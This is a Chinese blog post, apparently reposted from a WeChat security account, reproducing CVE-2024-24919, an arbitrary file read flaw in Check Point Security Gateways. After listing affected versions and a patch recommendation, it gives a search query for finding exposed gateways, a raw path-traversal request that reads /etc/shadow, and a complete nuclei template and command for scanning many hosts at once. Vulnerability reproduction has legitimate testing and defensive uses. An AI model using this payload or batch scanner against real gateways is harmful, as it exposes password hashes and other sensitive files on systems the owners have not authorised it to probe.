一：漏洞名称
Check Point 安全网关任意文件读取漏洞
二：漏洞描述
Check Point Security Gateways 任意文件读取漏洞(CVE-2024-24919)存在在野利用，远程攻击者可以通过构造恶意请求读取服务器上的任意文件，造成敏感信息的泄漏。目前，此漏洞已检测到在野利用。鉴于该漏洞影响范围较大，建议客户尽快做好自查及防护。
三：漏洞影响版本
Check Point Security Gateways R77.20 (EOL)Check Point Security Gateways R77.30 (EOL)Check Point Security Gateways R80.10 (EOL)Check Point Security Gateways R80.20 (EOL)Check Point Security Gateways R80.20.xCheck Point Security Gateways R80.20SP (EOL)Check Point Security Gateways R80.30 (EOL)Check Point Security Gateways R80.30SP (EOL)Check Point Security Gateways R80.40 (EOL)Check Point Security Gateways R81Check Point Security Gateways R81.10Check Point Security Gateways R81.10.xCheck Point Security Gateways R81.20
四：网络空间测绘查询
app="Check_Point-SSL-Network-Extender"
五：漏洞复现
POST /clients/MyCRL HTTP/1.1Host:Content-Type: application/x-www-form-urlencodedaCSHELL/../../../../../../../etc/shadow
任意文件读取漏洞允许攻击者读取目标系统上的任意文件，包括敏感的配置文件、密码文件、日志文件等。这种漏洞通常是由于应用程序对用户输入的不充分验证或者未正确限制文件访问权限所导致的。nuclei.exe -t CVE-2024-24919.yaml -l host.txt建议更新当前系统或软件至最新版，完成漏洞的修复。批量验证脚本
id: CVE-2024-24919
info:
name: Check Point Quantum Gateway - Information Disclosure
author: johnk3r
severity: high
description: |
CVE-2024-24919 is an information disclosure vulnerability that can allow an attacker to access certain information on internet-connected Gateways which have been configured with IPSec VPN, remote access VPN or mobile access software blade.
reference:
- https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
- https://support.checkpoint.com/results/sk/sk182337
metadata:
max-request: 1
vendor: checkpoint
product: quantum_security_gateway
cpe: cpe:2.3:h:checkpoint:quantum_security_gateway:*:*:*:*:*:*:*:*
shodan-query: html:"Check Point SSL Network"
verified: true
tags: cve,cve2024,checkpoint,lfi
http:
- raw:
- |
POST /clients/MyCRL HTTP/1.1
Host: {{Hostname}}
aCSHELL/../../../../../../../etc/shadow
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:"
- "nobody:"
condition: and
- type: status
status:
- 200
原文始发于微信公众号（Adler学安全）：漏洞复现-CVE-2024-24919
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论